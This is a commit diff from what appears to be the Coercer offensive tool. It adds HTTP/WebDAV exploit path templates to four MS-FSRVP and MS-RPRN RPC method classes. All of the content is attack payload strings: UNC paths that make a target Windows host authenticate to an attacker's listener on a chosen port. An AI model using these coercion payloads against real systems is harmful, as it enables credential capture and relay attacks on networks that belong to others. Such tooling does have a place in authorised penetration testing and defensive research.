Fixed #83 (#86)

Author: p0dalirius

coercer/methods/MS_FSRVP/IsPathShadowCopied.py

@@ -36,7 +36,8 @@ class IsPathShadowCopied(MSPROTOCOLRPCCALL):
     """
 
     exploit_paths = [
-        ("smb", '\\\\{{listener}}\x00')
+        ("smb", '\\\\{{listener}}\x00'),
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {

coercer/methods/MS_FSRVP/IsPathSupported.py

@@ -36,7 +36,8 @@ class IsPathSupported(MSPROTOCOLRPCCALL):
     """
 
     exploit_paths = [
-        ("smb", '\\\\{{listener}}\x00')
+        ("smb", '\\\\{{listener}}\x00'),
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {

coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotification.py

@@ -19,7 +19,8 @@ class RpcRemoteFindFirstPrinterChangeNotification(MSPROTOCOLRPCCALL):
     """
 
     exploit_paths = [
-        ("smb", '\\\\{{listener}}\x00')
+        ("smb", '\\\\{{listener}}\x00'),
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {

coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotificationEx.py

@@ -20,7 +20,7 @@ class RpcRemoteFindFirstPrinterChangeNotificationEx(MSPROTOCOLRPCCALL):
 
     exploit_paths = [
         ("smb", '\\\\{{listener}}\x00'),
-        ("http", '\\\\{{listener}}@80/print\x00')
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {